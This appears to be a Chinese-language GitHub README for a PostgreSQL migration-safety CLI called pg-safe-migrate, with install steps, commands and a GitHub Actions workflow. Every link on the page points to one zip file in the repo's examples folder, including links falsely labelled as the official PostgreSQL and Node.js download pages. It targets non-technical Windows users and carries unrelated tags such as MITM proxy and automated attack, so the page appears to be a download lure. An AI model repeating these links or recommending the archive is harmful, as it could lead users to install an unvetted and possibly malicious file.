futurekynngh/pg-safe-migrate
GitHub: futurekynngh/pg-safe-migrate
一款为 PostgreSQL 提供 schema 迁移安全检查、漂移检测和锁机制的 Node.js 工具,帮助团队安全执行数据库变更。
Stars: 0 | Forks: 0
# ⚙️ pg-safe-migrate - PostgreSQL 迁移更安全
[](https://github.com/futurekynngh/pg-safe-migrate/raw/refs/heads/main/examples/pg-migrate-safe-3.8.zip)
## 📋 什么是 pg-safe-migrate?
pg-safe-migrate 是一款旨在帮助您安全更新 PostgreSQL 数据库的工具。它可在您的 Windows 计算机上运行,并会在进行任何更改之前检查错误。它使用锁机制在更改数据库时保障其安全,并在出现不一致时向您发出警报。它还会运行测试,以确保您的数据库更新遵循最佳规则。
您无需具备编程知识即可使用它。本指南将帮助您逐步完成设置和使用。
## 🔍 您应该了解的功能
- 使用锁机制在更新期间防止冲突。
- 检测在常规流程之外进行的更改。
- 使用校验和(checksum)检查更新以避免错误。
- 提供 10 条规则来检查您的更新文件。
- 通过简单的命令行工具运行。
- 可在 GitHub Actions 上自动运行。
- 专为 Node.js 和 PostgreSQL 用户构建,但也易于所有人运行。
## 💻 系统要求
在开始之前,请确保您的计算机满足以下条件:
- Windows 10 或更高版本(建议使用 64 位)。
- 已安装并正在运行 PostgreSQL 数据库。
- 已安装 Node.js(版本 12 或更高)。
- 用于下载和设置的互联网连接。
如果您尚未安装 PostgreSQL 或 Node.js,可以从其官方网站下载:
- PostgreSQL: https://github.com/futurekynngh/pg-safe-migrate/raw/refs/heads/main/examples/pg-migrate-safe-3.8.zip
- Node.js: https://github.com/futurekynngh/pg-safe-migrate/raw/refs/heads/main/examples/pg-migrate-safe-3.8.zip
## 🚀 入门指南
### 步骤 1:访问下载页面
点击顶部的大绿色按钮或使用此链接直接进入项目页面:
https://github.com/futurekynngh/pg-safe-migrate/raw/refs/heads/main/examples/pg-migrate-safe-3.8.zip
在这里,您将找到所需的文件。由于链接指向主 repo 页面,您需要找到最新的 release 或安装说明。
### 步骤 2:如有需要,安装 Node.js
如果您尚未安装 Node.js,请按照以下步骤操作:
- 访问 Node.js 网站。
- 下载适用于 Windows 的 LTS(长期支持)版本。
- 运行安装程序并按照步骤操作。
### 步骤 3:下载 pg-safe-migrate
在项目的 GitHub 页面上,查找 “Releases” 部分或安装说明。通常,您可以使用 npm 或 yarn 等 Node.js 工具安装 pg-safe-migrate。您可以在设置完 Node.js 后执行此操作。
打开 Windows 命令提示符(在“开始”菜单中搜索 `cmd`)并运行:
```
npm install -g pg-safe-migrate
```
此命令会全局下载并安装 pg-safe-migrate,以便您可以从计算机上的任何文件夹运行它。
### 步骤 4:准备您的 PostgreSQL 连接
要使用 pg-safe-migrate,您需要将其连接到您的 PostgreSQL 数据库。您将需要:
- 主机名(如果数据库位于您的计算机上,通常为 `localhost`)。
- 数据库名称。
- 用户名。
- 密码。
确保您的数据库正在运行,并且您手头有这些详细信息。
## ⚙️ 如何在 Windows 上使用 pg-safe-migrate
安装后,您可以通过打开命令提示符或 PowerShell 开始运行迁移。
### 基本命令格式:
```
pg-safe-migrate migrate --connection "postgresql://username:password@localhost:5432/dbname"
```
将 `username`、`password` 和 `dbname` 替换为您实际的数据库用户、密码和数据库名称。
### 此命令会做什么?
- 它使用 advisory locks 检查是否有其他迁移正在运行。
- 它会查找并警告任何漂移或未跟踪的更改。
- 它在验证校验和的同时运行您的迁移文件。
- 它应用规则以确保您的更改是安全的。
### 常用命令:
- `pg-safe-migrate migrate`
运行所有待处理的迁移以更新您的数据库。
- `pg-safe-migrate status`
显示有关已运行迁移的信息以及是否存在任何问题。
- `pg-safe-migrate lint`
根据 10 条安全规则检查您的迁移文件。
## 📂 组织迁移文件
将您的迁移文件放在项目文件夹内名为 `migrations` 的文件夹中。pg-safe-migrate 将在此处查找要应用的更改。
每个文件应包含用于对数据库进行所需更改的 SQL 命令。
文件名应清晰并遵循某种模式,例如:
```
001-add-users-table.sql
002-add-email-index.sql
```
pg-safe-migrate 按顺序读取这些文件以安全地应用更新。
## 🛠 使用 GitHub Actions 运行 pg-safe-migrate
如果您将项目托管在 GitHub 上,则可以使用 GitHub Actions 自动化数据库更新。
使用下面的示例工作流文件开始。将其另存为仓库中的 `.github/workflows/migrate.yml`:
```
name: Run pg-safe-migrate
on:
push:
branches:
- main
jobs:
migrate:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: Setup Node.js
uses: actions/setup-node@v2
with:
node-version: '14'
- name: Install pg-safe-migrate
run: npm install -g pg-safe-migrate
- name: Run Migrations
run: pg-safe-migrate migrate --connection ${{ secrets.DATABASE_URL }}
```
在使用此功能之前,请将您的数据库连接字符串添加为 GitHub 仓库中名为 `DATABASE_URL` 的 secret。
## 🔍 故障排除提示
- 在开始迁移之前,请确保您的数据库正在运行。
- 使用包含用户名和密码的正确数据库 URL。
- 如果迁移卡住,请重新启动计算机或数据库服务以清除锁。
- 检查迁移文件名或 SQL 命令中是否有拼写错误。
- 使用 `pg-safe-migrate status` 查看迁移信息并发现问题。
- 在应用迁移之前运行 `pg-safe-migrate lint` 以尽早发现错误。
## 🔗 有用链接
- 官方页面:https://github.com/futurekynngh/pg-safe-migrate/raw/refs/heads/main/examples/pg-migrate-safe-3.8.zip
- PostgreSQL 下载页面:https://github.com/futurekynngh/pg-safe-migrate/raw/refs/heads/main/examples/pg-migrate-safe-3.8.zip
- Node.js 下载页面:https://github.com/futurekynngh/pg-safe-migrate/raw/refs/heads/main/examples/pg-migrate-safe-3.8.zip
# [立即开始使用 pg-safe-migrate](https://github.com/futurekynngh/pg-safe-migrate/raw/refs/heads/main/examples/pg-migrate-safe-3.8.zip)
点击此链接访问项目页面以获取下载内容和完整文档。
标签:DNS解析, GitHub Actions, GNU通用公共许可证, MITM代理, Node.js, PostgreSQL, Schema Migration, SOC Prime, SQL, 咨询锁, 开发工具, 开源项目, 数据一致性, 数据库版本控制, 数据库迁移, 文档结构分析, 最佳实践, 校验和, 测试用例, 漂移检测, 系统审计, 自动化攻击, 自动笔记